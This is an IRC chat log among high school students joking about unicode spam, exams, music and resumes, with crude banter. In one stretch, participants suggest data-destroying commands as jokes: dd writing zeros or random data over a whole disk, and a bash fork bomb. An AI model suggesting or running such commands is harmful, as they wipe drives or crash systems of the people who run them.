[2015-01-21T20:29:00-0500] <assface> I'm obesesive cumsplosive
[2015-01-21T20:29:06-0500] <@awe> lol'd
[2015-01-21T20:29:50-0500] <+JacobEdelman> no, I'm obsessize complosive
[2015-01-21T20:30:10-0500] <assface> budozig gjumobis
[2015-01-21T20:33:11-0500] <assface> obsessig gombulsib :DDDD
[2015-01-21T20:33:35-0500] <ubuntor> wat
[2015-01-21T20:34:13-0500] <assface> ist der sekrit
[2015-01-21T20:34:59-0500] <@awe> obissï gombūłšįvė
[2015-01-21T20:35:54-0500] <assface> and now, confused time with aw
[2015-01-21T20:35:56-0500] <assface> *awe
[2015-01-21T20:36:47-0500] <@awe> bēßīg gœmbüśį
[2015-01-21T20:36:58-0500] <+Tamini> you kids
[2015-01-21T20:37:15-0500] <+Tamini> also omg people are starting to sell valentine's day stuff
[2015-01-21T20:37:20-0500] <@awe> ﬂ
[2015-01-21T20:37:33-0500] <alokpathy> awe: Will you be my valentine?
[2015-01-21T20:37:37-0500] <@awe> ‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡‡
[2015-01-21T20:37:40-0500] <@awe> choo choo
[2015-01-21T20:37:46-0500] <alokpathy> I'll take that as a no.
[2015-01-21T20:37:47-0500] <assface> oh boy cheap candy
[2015-01-21T20:37:48-0500] <alokpathy> :(
[2015-01-21T20:37:49-0500] <assface> i can't wait
[2015-01-21T20:37:52-0500] <jwoglom> Tamini: we have waay too many tj fb groups
[2015-01-21T20:37:57-0500] <@awe> ªºªºªºªºªºªºªªºªº
[2015-01-21T20:38:07-0500] <alokpathy> awe: Lol, the sl choo choo train
[2015-01-21T20:38:09-0500] <jwoglom> whenever there's something like that, I get like 5-6 separate fb notifications, lol
[2015-01-21T20:38:22-0500] <@awe> Ω∆µ
[2015-01-21T20:38:30-0500] <assface> torque jumbalaya?
[2015-01-21T20:38:37-0500] <assface> tunesian jumpers?
[2015-01-21T20:38:52-0500] <assface> tachyon jalapenos?
[2015-01-21T20:38:53-0500] <@awe> µ¬µ≥≈≤¬
[2015-01-21T20:39:15-0500] <assface> tumbled juniper?
[2015-01-21T20:39:28-0500] <alokpathy> assface: Thomas Jefferson :P
[2015-01-21T20:39:29-0500] <+JacobEdelman> is rtmiu a high schooler?
[2015-01-21T20:39:33-0500] <@awe> ∂∆·◊
[2015-01-21T20:39:38-0500] <alokpathy> JacobEdelman: whodat
[2015-01-21T20:39:40-0500] <@awe> 
[2015-01-21T20:39:53-0500] <alokpathy> awe: What are you trying to do? LOL
[2015-01-21T20:39:58-0500] <assface> idk
[2015-01-21T20:40:06-0500] <@awe> ∆ˆ∆
[2015-01-21T20:40:10-0500] <jwoglom> assface: the Thomas Jefferson High School for Science and Technology
[2015-01-21T20:40:10-0500] <assface> is he posting unicode characters?
[2015-01-21T20:40:16-0500] <alokpathy> Yeah
[2015-01-21T20:40:20-0500] <jwoglom> longest school name ever
[2015-01-21T20:40:20-0500] <assface> ah
[2015-01-21T20:40:26-0500] <@awe> ∏—∏
[2015-01-21T20:40:34-0500] <assface> I like torque jumbalaya better
[2015-01-21T20:40:51-0500] <jwoglom> hence the tj/tjhsst :
[2015-01-21T20:40:53-0500] <jwoglom> *:P
[2015-01-21T20:40:55-0500] <@awe> ˘¯˘¯˘¯˘¯˘¯˘¯¯¯¯˘¯˘˘˘˘˘˘˘˘˘˘¯˘¯˘¯˘¯˘¯˘¯˘¯˘¯˘¯¯˘¯˘¯˘¯˘¯¯¯˘¯˘¯˘¯¯˘¯¯˘˘¯˘¯˘¯˘¯˘¯
[2015-01-21T20:41:19-0500] <@awe> ııı
[2015-01-21T20:41:29-0500] <+JacobEdelman> ... is someone controlling awe's computer?
[2015-01-21T20:41:30-0500] <@awe> ¿¿¿¿¿¿¿¿¿¿¿¿¿
[2015-01-21T20:41:39-0500] <+JacobEdelman> cause this seems unusally silly even for him
[2015-01-21T20:41:42-0500] <@awe> ÁÁÏ˝ÓÔÔÔÔÔÔ˝ııııÅÅÅÅÅÅÅÅ
[2015-01-21T20:41:53-0500] <@awe> „„„„„„„„„„„„„„„„„„„„„„
[2015-01-21T20:42:10-0500] <@awe> ````````‰´´´´´´´´´´´´
[2015-01-21T20:42:11-0500] <jwoglom> awe: why „„„„„„„„„ to you as well
[2015-01-21T20:42:15-0500] • Hyper: goes back to playing smash
[2015-01-21T20:42:17-0500] <@awe> ˇˇˇˇˇˇˇˇˇˇˇˇ
[2015-01-21T20:42:20-0500] <@awe> ¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨
[2015-01-21T20:42:21-0500] <assface> torque jumbalaya hailstone stomper slamming thumper
[2015-01-21T20:42:23-0500] <@awe> ˆˆˆˆˆˆˆˆˆˆˆˆˆˆˆˆˆ
[2015-01-21T20:42:30-0500] <jwoglom> is he like still trying to send some copy-pasted thing or something
[2015-01-21T20:42:39-0500] <@awe> ˝˝˝˝˝˝˝˝˝˝
[2015-01-21T20:42:43-0500] <Hyper> I think he's having a stroke
[2015-01-21T20:42:55-0500] <@awe> ···············
[2015-01-21T20:42:58-0500] <@awe> °°°°°°°°°°°°°°°
[2015-01-21T20:42:58-0500] <assface> one of those stokes where you type too?
[2015-01-21T20:43:07-0500] <@awe> ”’’’’’’’’’’’’’””””””’’’’’’’”””””””””””””””
[2015-01-21T20:43:11-0500] <Hyper> it's like that monty python thing from holy grail
[2015-01-21T20:43:17-0500] <Hyper> the caves of aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagh
[2015-01-21T20:43:19-0500] <@awe> ≠≠≠≠≠≠≠≠≠≠≠≠≠≠≠≠≠≠≠≠≠≠≠≠
[2015-01-21T20:43:21-0500] <alokpathy> awe: Wtf are you doing? XDDDD
[2015-01-21T20:43:21-0500] <@awe> CHOO CHOO
[2015-01-21T20:43:26-0500] <jwoglom> awe: done now?
[2015-01-21T20:43:36-0500] <@awe> ¢¢¢¢¢¢¢¢¢∞∞∞∞∞∞∞
[2015-01-21T20:43:41-0500] <jwoglom> guess i spoke too soon
[2015-01-21T20:43:44-0500] <alokpathy> jwoglom: Guess not
[2015-01-21T20:43:50-0500] <@awe> ••••••••••••••••••••••
[2015-01-21T20:43:53-0500] <assface> clearly the gypsies are up to something
[2015-01-21T20:43:54-0500] <@awe> ––––––––––––––––––––
[2015-01-21T20:44:02-0500] <@awe> ≥≥≥≥≥≤≤≤≤≤≤≤
[2015-01-21T20:44:02-0500] <@awe> ¯¯¯¯¯¯¯˘˘˘˘˘˘˘˘˘˘˘
[2015-01-21T20:44:11-0500] <@awe> ………………………
[2015-01-21T20:44:13-0500] <+hardmath123> awe
[2015-01-21T20:44:18-0500] <+hardmath123> are you *trying* to break my terminal?
[2015-01-21T20:44:25-0500] <@awe> æ÷¿÷≥≥≥
[2015-01-21T20:44:30-0500] <jwoglom> none of this is breaking mine at all, lol
[2015-01-21T20:44:31-0500] <@awe> ’’’’’’»»»»»»»»»»»«
[2015-01-21T20:44:38-0500] <@awe> `¡™£`¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡
[2015-01-21T20:44:39-0500] <jwoglom> only extreme cases of zalgo do
[2015-01-21T20:44:42-0500] <assface> irssi 2 gud
[2015-01-21T20:44:48-0500] <Hyper> jwoglom: is that a challenge :)
[2015-01-21T20:45:08-0500] <jwoglom> Hyper: m̶̞a̯͖͔y̩̖̗̮͞b͍̙͈e̡̱͎̲̟̭
[2015-01-21T20:45:19-0500] <assface> type #dd if=/dev/sda
[2015-01-21T20:45:25-0500] <@awe> 𐊀𐊀𐊀𐊀𐊀𐊀𐊀𐊀𐊀
[2015-01-21T20:45:31-0500] <assface> fun times
[2015-01-21T20:45:36-0500] <@awe> 𐊄𐊚𐊙𐊙𐊙𐊙𐊙𐊙𐊙𐊘𐊘𐊘𐊘𐊘
[2015-01-21T20:45:41-0500] <Hyper> H̩̫̫̥̅̏͆͛͂̄͒́E̗̙͖̻͇̤̹͋͑ͤ̔ͯ͘͡ ̛̗̺̮̰̋͆ͧC̹ͪ̑͆̀ͧǪ̬̰̦̰̗̜͔̔͂ͨͯ̈͡M̶̹̟͓̥͔̘͉̆͌̎͊̋́́́Ë̘̪́̃ͦͭͦ͛͊S̢̯͍̭̞͓̤̝͐ͬ͑̒ͧ̊͝͡
[2015-01-21T20:45:46-0500] <@awe> 𐊨𐊨𐊨𐊨𐊨𐊨𐊨𐊨𐊨𐊨
[2015-01-21T20:45:50-0500] • awe: 𐊶	𐊷𐊶	𐊷𐊶	𐊷𐊶	𐊷𐊶	𐊷𐊶	𐊷𐊶	𐊷
[2015-01-21T20:45:54-0500] <@awe> 𐊹𐊹𐊹𐊹𐊹
[2015-01-21T20:46:00-0500] <@awe> 𐋌𐋍
[2015-01-21T20:46:08-0500] <Hyper> today awe discovered the option key.
[2015-01-21T20:46:10-0500] <@awe> 𐋋𐋊𐋉
[2015-01-21T20:46:17-0500] <@awe> 𐊾𐊾
[2015-01-21T20:46:19-0500] <assface> you can find interesting stuff towards the start of your disk
[2015-01-21T20:46:31-0500] <alokpathy> I think awe's drunk.
[2015-01-21T20:46:31-0500] <@awe> 𐌈
[2015-01-21T20:46:33-0500] <Hyper> like the boot sector? :)
[2015-01-21T20:46:42-0500] <@awe> 𐐦	
[2015-01-21T20:46:50-0500] <@awe> 𐑙
[2015-01-21T20:47:01-0500] <@awe> 𐑗𐑖𐑕𐑹
[2015-01-21T20:47:32-0500] <@awe> 𝄡
[2015-01-21T20:47:36-0500] <@awe> 𝄢
[2015-01-21T20:47:40-0500] <@awe> 𝄐	𝄑
[2015-01-21T20:48:09-0500] <@awe> 🚽
[2015-01-21T20:48:27-0500] <@awe> 🚀🚀🚀
[2015-01-21T20:48:52-0500] <assface> for instance, there's some source file on mine that includes the phrase "pimp-my-penis dot com"
[2015-01-21T20:49:02-0500] <@awe> http://youtu.be/P2eqNB6zy9k
[2015-01-21T20:49:04-0500] <Hyper> lolwut
[2015-01-21T20:49:21-0500] <@awe> http://youtu.be/qjnm3V0xYjI
[2015-01-21T20:49:48-0500] <assface> http://pastebin.com/raw.php?i=WM7gEQe8
[2015-01-21T20:49:53-0500] <assface> ^proof
[2015-01-21T20:50:01-0500] <@awe> ‹›‹›‹›‹›‹›
[2015-01-21T20:53:30-0500] <@awe> Hi, guys. How's it going?
[2015-01-21T20:54:05-0500] <assface> perdy gud
[2015-01-21T20:54:21-0500] <alokpathy> awe: What exactly happened? xD
[2015-01-21T20:54:29-0500] <@awe> I couldn't find anything interesting with suod cat /dev/disk0 | strings | grep penis.
[2015-01-21T20:54:33-0500] <@awe> sudo*
[2015-01-21T20:54:46-0500] <@awe> but running sudo cat/dev/disk0 broke my terminal.
[2015-01-21T20:54:57-0500] <@awe> Even after it exited, the pipe key suddenly outputted something else.
[2015-01-21T20:55:22-0500] <assface> yeah, dumping a special file usualy does that
[2015-01-21T20:56:21-0500] <assface> sudo dd if=/dev/zero of=/dev/sda anyone?
[2015-01-21T20:56:48-0500] <ubuntor> we unicode now?
[2015-01-21T20:56:57-0500] <assface> ~ :(){ :|:& };: maybe?
[2015-01-21T20:57:09-0500] <assface> (drop the ~)
[2015-01-21T20:57:17-0500] <@awe> sudo dd if=/dev/rand of=/dev/rdisk0
[2015-01-21T20:57:34-0500] <assface> much slowerd
[2015-01-21T20:57:44-0500] <assface> /dev/urandom will be faster, but not by much
[2015-01-21T20:57:53-0500] <assface> (I think)
[2015-01-21T20:58:29-0500] <ubuntor> hmm, i should setup process limits
[2015-01-21T20:58:48-0500] <assface> cgroups
[2015-01-21T20:58:58-0500] <@awe> alokpathy: 🚀 happened.
[2015-01-21T20:59:29-0500] <assface> jesus took a dump on your computer
[2015-01-21T21:00:34-0500] <ubuntor> awe: (rocket) ship happened?
[2015-01-21T21:00:43-0500] <@awe> Y.
[2015-01-21T21:02:21-0500] <+JacobEdelman> gnight
[2015-01-21T21:02:31-0500] <alokpathy> G'night
[2015-01-21T21:02:39-0500] <+JacobEdelman> also
[2015-01-21T21:02:43-0500] <+JacobEdelman> what drove awe insane?
[2015-01-21T21:02:46-0500] <+JacobEdelman> did I finally succeed?
[2015-01-21T21:02:59-0500] <assface> jesus took a dump on his computer, like I said
[2015-01-21T21:03:03-0500] <+JacobEdelman> or is someone else typing at his keyboad?
[2015-01-21T21:03:25-0500] <@awe> Hyper: http://www.reddit.com/r/rust/comments/2t6xqz/jai_demo_dataoriented_features_soa_crazy_using/
[2015-01-21T21:05:27-0500] <Hyper> awe: I already linked you to that earlier :)
[2015-01-21T21:05:30-0500] <Hyper> well
[2015-01-21T21:05:31-0500] <Hyper> to the video
[2015-01-21T21:05:38-0500] <@awe> I was showing you that they were discussing it on /r/Rust.
[2015-01-21T21:05:45-0500] <Hyper> ok
[2015-01-21T21:05:46-0500] <@awe> JacobEdelman: what are you talking about?
[2015-01-21T21:06:03-0500] <Hyper> jai looks like 90% of the things I always wanted in a language :)
[2015-01-21T21:06:40-0500] <@awe> The video was too long for me to watch.
[2015-01-21T21:06:45-0500] <@awe> But I'll take a look later.
[2015-01-21T21:20:07-0500] <assface> what kinda music do y'all listen to?
[2015-01-21T21:20:11-0500] <assface> I stick to alt metal.
[2015-01-21T21:21:33-0500] <@awe> I listen to a pretty wide assortment of music, mostly indie rock and rapthough.
[2015-01-21T21:21:40-0500] <@awe> s/rapthough/rap though/
[2015-01-21T21:29:05-0500] <+hardmath123> Jazz and bach.
[2015-01-21T21:37:13-0500] <+Tamini> ahh.
[2015-01-21T21:37:20-0500] <+Tamini> i spent an hour on this notecard and its beautiful
[2015-01-21T21:37:40-0500] <+Tamini> but it seems like such a waste of effort because i'm remembering half of these as i write them
[2015-01-21T21:38:07-0500] <assface> you're allowed to use notecards?
[2015-01-21T21:38:09-0500] <assface> lucky
[2015-01-21T21:39:00-0500] <bob_twinkles> you probably get a calculator though
[2015-01-21T21:39:42-0500] <assface> for what class?
[2015-01-21T21:39:54-0500] <bob_twinkles> multivar
[2015-01-21T21:40:07-0500] <+Tamini> bob_twinkles: oh right
[2015-01-21T21:40:10-0500] <+Tamini> i need to learn how to use that
[2015-01-21T21:40:29-0500] <+Tamini> during the physics thing today i spent 5 minutes staring at my calculator trying to figure out how to do simple functions
[2015-01-21T21:40:31-0500] <bob_twinkles> I need to _find_ the damn thing firstr
[2015-01-21T21:40:35-0500] <+Tamini> also did you finish the card yet
[2015-01-21T21:40:38-0500] <assface> well, my calc teacher only lets us use one when we ned it
[2015-01-21T21:40:40-0500] <bob_twinkles> haven't started
[2015-01-21T21:40:43-0500] <assface> which is rare
[2015-01-21T21:40:44-0500] <+Tamini> one second
[2015-01-21T21:40:46-0500] <+Tamini> look at how beautiful this is
[2015-01-21T21:40:56-0500] <bob_twinkles> we're taking our final on Friday
[2015-01-21T21:40:58-0500] <+Tamini> matt let me plagiarize his from last year and its amazing
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[2015-01-21T21:41:17-0500] <bob_twinkles> and the only reason we get to use a calculator on this one is 'cause the county mandates it
[2015-01-21T21:41:24-0500] <Tamini_> https://i.imgur.com/7RFgwdc.jpg
[2015-01-21T21:41:35-0500] <bob_twinkles> every other assesment has been non calc
[2015-01-21T21:41:38-0500] <bob_twinkles> which is actually pretty nice
[2015-01-21T21:42:06-0500] <bob_twinkles> very colorful
[2015-01-21T21:42:12-0500] <Tamini_> im contemplating putting the quadric surfaces in the extra marginspace, thoughts?
[2015-01-21T21:42:14-0500] <bob_twinkles> I recognize some of  those symbols
[2015-01-21T21:42:21-0500] <bob_twinkles> mmm
[2015-01-21T21:42:29-0500] <bob_twinkles> like what the traces are, or the names?
[2015-01-21T21:42:36-0500] <Tamini_> both
[2015-01-21T21:42:41-0500] <assface> it's bootiful
[2015-01-21T21:42:46-0500] <Tamini_> i have two different sets of margin space
[2015-01-21T21:42:58-0500] <Tamini_> my ch16/17 notecards are weak tho so :/
[2015-01-21T21:43:03-0500] <bob_twinkles> I can't remember the names for shit, but the traces are pretty easy
[2015-01-21T21:43:05-0500] <bob_twinkles> so were mine
[2015-01-21T21:43:06-0500] <Tamini_> OKAY DID YOU FINISH THE TEST OMG
[2015-01-21T21:43:09-0500] <bob_twinkles> yes
[2015-01-21T21:43:14-0500] <Tamini_> i
[2015-01-21T21:43:18-0500] <Tamini_> didnt have time to do that
[2015-01-21T21:43:21-0500] <Tamini_> damn moment of inertia
[2015-01-21T21:43:22-0500] <bob_twinkles> actually not true
[2015-01-21T21:43:26-0500] <bob_twinkles> I didn't do 15
[2015-01-21T21:43:27-0500] <Tamini_> also my stokes theorem didnt match
[2015-01-21T21:43:28-0500] <bob_twinkles> the spiral one
[2015-01-21T21:43:31-0500] <Tamini_> so screw that
[2015-01-21T21:43:37-0500] <bob_twinkles> 'cause I'm a dumbass and didn't realize it was conservative
[2015-01-21T21:43:43-0500] <Tamini_> uhhh....the one that was actually conservative
[2015-01-21T21:43:44-0500] <Tamini_> ^
[2015-01-21T21:43:52-0500] <Tamini_> its alright i did half of it before i realized
[2015-01-21T21:44:09-0500] <bob_twinkles> I actually skipped it and forgot about it
[2015-01-21T21:44:11-0500] <Tamini_> just drew giant x through work, and was like "yeah im stupid, z=0"
[2015-01-21T21:44:22-0500] <bob_twinkles> if I'd remembered I think I could have done it
[2015-01-21T21:44:37-0500] <Tamini_> did you finish the torus thing
[2015-01-21T21:44:39-0500] <bob_twinkles> yeah
[2015-01-21T21:44:42-0500] <Tamini_> it took me so long to integrate
[2015-01-21T21:44:44-0500] <Tamini_> i just died
[2015-01-21T21:44:52-0500] <assface> remind me why you're on IRC if you're studying for finals?
[2015-01-21T21:44:57-0500] <Tamini_> whats the 3d volume thing with divergence for that one?
[2015-01-21T21:44:59-0500] <bob_twinkles> binomial theorem + 0 not 0 =D
[2015-01-21T21:45:07-0500] <Tamini_> assface: county mandated finals are easy
[2015-01-21T21:45:15-0500] <bob_twinkles> (1/3)(x^3 + y^3)
[2015-01-21T21:45:20-0500] <bob_twinkles> well
[2015-01-21T21:45:25-0500] <Tamini_> how to 3d divergence given surface area integral
[2015-01-21T21:45:25-0500] <bob_twinkles> (1/3)(x^3 i + y^3 j)
[2015-01-21T21:45:34-0500] <assface> I see
[2015-01-21T21:45:50-0500] <bob_twinkles> take the divergence of the function?
[2015-01-21T21:46:17-0500] <Tamini_> um
[2015-01-21T21:46:22-0500] <Tamini_> so surface area was just
[2015-01-21T21:46:28-0500] <Tamini_> magnitude of ds
[2015-01-21T21:46:34-0500] <@awe> mmm, delivered cookies.
[2015-01-21T21:46:35-0500] <Tamini_> right
[2015-01-21T21:46:45-0500] <Tamini_> so i just stared at that integral for a while
[2015-01-21T21:46:48-0500] <bob_twinkles> (ab)4 pi^2 IIRC
[2015-01-21T21:46:53-0500] <Tamini_> yeah
[2015-01-21T21:46:56-0500] <Tamini_> by formula
[2015-01-21T21:46:59-0500] <ubuntor> awe: what kind?
[2015-01-21T21:47:13-0500] <@awe> fresh baked chocolate chip
[2015-01-21T21:47:38-0500] <@awe> There's this place right off campus that delivers 6pm-12am
[2015-01-21T21:47:47-0500] <Tamini_> awe: pls gib me cookies :(
[2015-01-21T21:47:59-0500] <ubuntor> darn, that sounds awesome
[2015-01-21T21:48:00-0500] <Tamini_> cookienet more urgent than ramenet
[2015-01-21T21:48:06-0500] <ubuntor> ...not intended
[2015-01-21T21:48:35-0500] <@awe> Tamini_: if the cookienet existed, they could improve their business model.
[2015-01-21T21:48:53-0500] <Tamini_> awe: <3
[2015-01-21T21:48:59-0500] <Tamini_> next hackathon project
[2015-01-21T21:50:07-0500] <@awe> matter materialization as a 48-hour hack.
[2015-01-21T21:50:08-0500] <@awe> lol
[2015-01-21T21:52:35-0500] <bob_twinkles> 3D printed cookie dough?
[2015-01-21T21:52:43-0500] <bob_twinkles> still probably out of scope for a hackathon
[2015-01-21T21:52:50-0500] <ubuntor> what about pizza?
[2015-01-21T21:53:27-0500] <+Tamini> yes
[2015-01-21T21:53:31-0500] <+Tamini> wait awe
[2015-01-21T21:53:36-0500] <+Tamini> um
[2015-01-21T21:53:41-0500] <+Tamini> actually im not sure if you were there for this
[2015-01-21T21:53:44-0500] <bob_twinkles> hardware is difficult to do in 48 hours, locked in a room with a buncha software dudes
[2015-01-21T21:53:46-0500] <bob_twinkles> no tools, no parts
[2015-01-21T21:54:05-0500] <+Tamini> bob_twinkles: make a team of hardware dudes
[2015-01-21T21:54:09-0500] <+Tamini> just make stuff
[2015-01-21T21:54:23-0500] <+Tamini> bob_twinkles, why don't you do hackathons?
[2015-01-21T21:54:44-0500] <bob_twinkles> I don't think there are many venues that would appreciate someone bringing in a lathe, mill and some aluminum stock =P
[2015-01-21T21:54:53-0500] <bob_twinkles> applying to things is annoying
[2015-01-21T21:55:03-0500] <+Tamini> lol
[2015-01-21T21:55:08-0500] <+Tamini> you dont have to apply to some things
[2015-01-21T21:55:22-0500] <+Tamini> i don't think i've ever actually applied to anything before
[2015-01-21T21:55:29-0500] <+Tamini> i just get forcibly abducted into cs events by matt
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[2015-01-21T21:58:35-0500] <alokpathy> When can limits on freedom of speech be justified?
[2015-01-21T21:58:46-0500] <@awe> IMO, almost never.
[2015-01-21T21:59:07-0500] <alokpathy> I'm trying to qualify it, lol
[2015-01-21T21:59:12-0500] <alokpathy> (partially because this is a Lang assignment)
[2015-01-21T21:59:13-0500] <@awe> According to US constitutional law, when it fails the time, place, manner test
[2015-01-21T21:59:52-0500] <alokpathy> What's that exactly?
[2015-01-21T22:00:32-0500] <alokpathy> Like, time of crisis sort of stuff?
[2015-01-21T22:00:43-0500] <@awe> No.
[2015-01-21T22:00:51-0500] <@awe> As in, there are times, places, and manners in which free speech is restricted.
[2015-01-21T22:01:21-0500] <alokpathy> Is there anything more specific?
[2015-01-21T22:01:22-0500] <@awe> For example, you cannot yell "Fire!" in a crowded movie theatre.
[2015-01-21T22:01:39-0500] <@awe> https://en.wikipedia.org/wiki/Freedom_of_speech_in_the_United_States#Time.2C_place.2C_and_manner_restrictions
[2015-01-21T22:02:33-0500] <alokpathy> Ah, yes, that example
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[2015-01-21T22:59:02-0500] <LittleBobbyTables> What if I yell it in my head
[2015-01-21T23:01:17-0500] <alokpathy> LittleBobbyTables: The Thought Police will get you
[2015-01-21T23:01:53-0500] <+Tamini> big brother is always watching
[2015-01-21T23:01:55-0500] <LittleBobbyTables> damn
[2015-01-21T23:02:33-0500] <assface> big bruvver?
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[2015-01-21T23:26:48-0500] <nezorg> is it worth reading the logs?
[2015-01-21T23:27:00-0500] <nezorg> looks like the only interesting thing I missed was awe having fun with unicode
[2015-01-21T23:27:05-0500] <nezorg> and that wasn't that interesting
[2015-01-21T23:27:43-0500] <alokpathy> If you read it carefully, it's actually an epic story about a young boy striving to become a man.
[2015-01-21T23:27:50-0500] <nezorg> oh
[2015-01-21T23:27:55-0500] <nezorg> most of the characters aren't rendering for me
[2015-01-21T23:28:10-0500] <alokpathy> It's a rhetorical strategy.
[2015-01-21T23:29:56-0500] <+Tamini> everything is a huge extended metaphor
[2015-01-21T23:30:44-0500] <nezorg> most extended metaphors I've seen are for sex
[2015-01-21T23:31:08-0500] <+Tamini> lol
[2015-01-21T23:31:10-0500] <+Tamini> like what?
[2015-01-21T23:31:44-0500] <nezorg> uhhh
[2015-01-21T23:31:51-0500] <nezorg> I can't pull any out of the top of my head
[2015-01-21T23:32:44-0500] <jwoglom> like the baseball metaphor?
[2015-01-21T23:32:49-0500] <nezorg> sure, that works
[2015-01-21T23:33:07-0500] <+Tamini> oh god
[2015-01-21T23:33:11-0500] <jwoglom> it just kind of fails because no one agrees on what it actually is
[2015-01-21T23:37:45-0500] <assface> my name is a metaphor for people mistaking the trees for the forest [/s]
[2015-01-21T23:37:56-0500] <assface> ah shit, forgot to open the tag
[2015-01-21T23:41:11-0500] <nezorg> guys
[2015-01-21T23:41:14-0500] <nezorg> help cheer me up
[2015-01-21T23:41:23-0500] <nezorg> I am not looking forward to english final tomorrow
[2015-01-21T23:41:47-0500] <nezorg> also I didn't do so well on my english presentation (though that wasn't unexpected)
[2015-01-21T23:42:08-0500] <assface> man I was trying not to talk so hard when Abe blabbered about AIs
[2015-01-21T23:42:12-0500] <nezorg> assface: how well did you do?
[2015-01-21T23:42:23-0500] <assface> got an 80
[2015-01-21T23:44:01-0500] <LittleBobbyTables> out of 8 million?
[2015-01-21T23:44:40-0500] <assface> yeah, I got a .000001% on the assignment
[2015-01-21T23:47:08-0500] <nezorg> assface: was abe just not getting it?
[2015-01-21T23:47:40-0500] <assface> he was not
[2015-01-21T23:48:08-0500] <assface> then again neither did Garret or Devin
[2015-01-21T23:48:37-0500] <nezorg> yeah :/
[2015-01-21T23:50:33-0500] <assface> did she already grade your presentation?
[2015-01-21T23:51:14-0500] <nezorg> yeah, 88
[2015-01-21T23:51:25-0500] <assface> you lucky motherhubbard
[2015-01-21T23:52:21-0500] <assface> then again if we got Bs I don't think the rest of the class did to well either
[2015-01-21T23:52:21-0500] <nezorg> that is not a good grade for me
[2015-01-21T23:52:26-0500] <nezorg> yeah
[2015-01-21T23:52:31-0500] <nezorg> honestly, I thought yours was better than mine
[2015-01-21T23:52:40-0500] <@awe> [23:30:44]  <nezorg>	most extended metaphors I've seen are for sex
[2015-01-21T23:52:46-0500] <@awe> It seems somebody finally figured out what I was saying.
[2015-01-21T23:52:49-0500] <@awe> Well played, nezorg.
[2015-01-21T23:52:58-0500] <nezorg> :3
[2015-01-21T23:52:59-0500] <assface> well Ivan did break down right in the middle of mine
[2015-01-21T23:53:07-0500] <nezorg> true
[2015-01-21T23:53:24-0500] <assface> 'sokay, I have an A in the class somehow
[2015-01-21T23:53:26-0500] <@awe> [23:44:40]  <assface>	yeah, I got a .000001% on the assignment
[2015-01-21T23:53:37-0500] <@awe> assface: that's funny, that's the grade I'd assign to Jacob's code.
[2015-01-21T23:53:39-0500] <@awe> heyoh.
[2015-01-21T23:53:48-0500] <assface> OOOOOOOOH
[2015-01-21T23:53:49-0500] <nezorg> oh
[2015-01-21T23:53:49-0500] <nezorg> uh
[2015-01-21T23:53:53-0500] <nezorg> I need to write a resume
[2015-01-21T23:54:00-0500] <@awe> Call it a CV, it makes you seem fancy.
[2015-01-21T23:54:04-0500] <nezorg> I have one, but... it might not be appropriate
[2015-01-21T23:54:05-0500] <assface> ^
[2015-01-21T23:54:16-0500] <nezorg> lemme see if I can dig it up
[2015-01-21T23:54:31-0500] <@awe> Also, don't include fluff.
[2015-01-21T23:54:49-0500] <assface> you should have /b/ write it
[2015-01-21T23:54:51-0500] <@awe> You should basically just have the fact that you part-time attend UCSB + the security lab you volunteer at and any other tech positions you might've had
[2015-01-21T23:55:07-0500] <@awe> and then under UCSB, put a selection of impressive or interesting courses you've taken.
[2015-01-21T23:55:17-0500] <nezorg> here it is: https://www.dropbox.com/s/di8tcpmyd1x058l/resume.pdf?dl=0
[2015-01-21T23:55:30-0500] <nezorg> awe: I haven't taken any impressive courses :/
[2015-01-21T23:55:38-0500] <@awe> Have you taken anything that isn't core curriculum?
[2015-01-21T23:56:03-0500] <@awe> This is a terrible resume.
[2015-01-21T23:56:05-0500] <nezorg> at ucsb?
[2015-01-21T23:56:06-0500] <@awe> That being said, I love the content.
[2015-01-21T23:56:20-0500] <nezorg> I took that problem solving class and now I'm taking that ece class
[2015-01-21T23:56:26-0500] <@awe> especially "* I very much like Haskell and Rust * type theory is a major fetish of mine"
[2015-01-21T23:56:29-0500] <nezorg> my other "class" both quarters is research
[2015-01-21T23:56:47-0500] <assface> the worst part is that you use emacs
[2015-01-21T23:56:56-0500] <nezorg> >:|
[2015-01-21T23:57:06-0500] <assface> it's okay mang
[2015-01-21T23:57:09-0500] <assface> vim is unusable too
[2015-01-21T23:57:33-0500] <alokpathy> nezorg: oo you qualified for CodeGate Junior?
[2015-01-21T23:57:33-0500] <alokpathy> Nice
[2015-01-21T23:57:34-0500] <@awe> assface: I like the MacVim.
[2015-01-21T23:57:42-0500] <alokpathy> Did you go to Korea?
[2015-01-21T23:57:50-0500] <nezorg> alokpathy: yup! korea was fun
[2015-01-21T23:57:51-0500] <@awe> assface: But I avoid 99% of the way people use vim.
[2015-01-21T23:58:00-0500] <nezorg> it looks like I might be going to tokyo in a couple weeks
[2015-01-21T23:58:13-0500] <alokpathy> nezorg: When's it this year?
[2015-01-21T23:58:19-0500] <alokpathy> Quals, I mean.
[2015-01-21T23:58:19-0500] <assface> I bet vim would be nice if I took the time to customize it, but I'm way too lazy for that
[2015-01-21T23:58:22-0500] <nezorg> alokpathy: no idea
[2015-01-21T23:58:32-0500] <alokpathy> Darn okay
[2015-01-21T23:58:37-0500] <@awe> nezorg: I kind of hate you.
[2015-01-21T23:58:40-0500] <alokpathy> I wanna go to Korea .-.
[2015-01-21T23:58:54-0500] <@awe> nezorg: It's 100% that I'm jealous of the awesome experiences you get to have and stuff.
[2015-01-21T23:59:02-0500] <nezorg> find a tiny niche! :P
[2015-01-21T23:59:15-0500] <nezorg> I'm going to tokyo with shellphish, not other high schoolers, though
[2015-01-21T23:59:27-0500] <@awe> I've kind of lost hope on the one professor who I emailed about research.
[2015-01-21T23:59:35-0500] <alokpathy> :(
[2015-01-21T23:59:35-0500] <@awe> I think I'm going to try to talk to my probability teacher and try to get into some algo research.
[2015-01-21T23:59:41-0500] <@awe> Even though I don't think I'm really that well equipped for it.
[2015-01-22T00:00:21-0500] <assface> nezorg you are an electro gypsie https://www.youtube.com/watch?v=-wX8AbBWc08
[2015-01-22T00:00:21-0500] <@awe> Hopefully I'll be able to do it and then learn a lot and then get into grad school.
[2015-01-22T00:00:24-0500] <@awe> That is the plan.
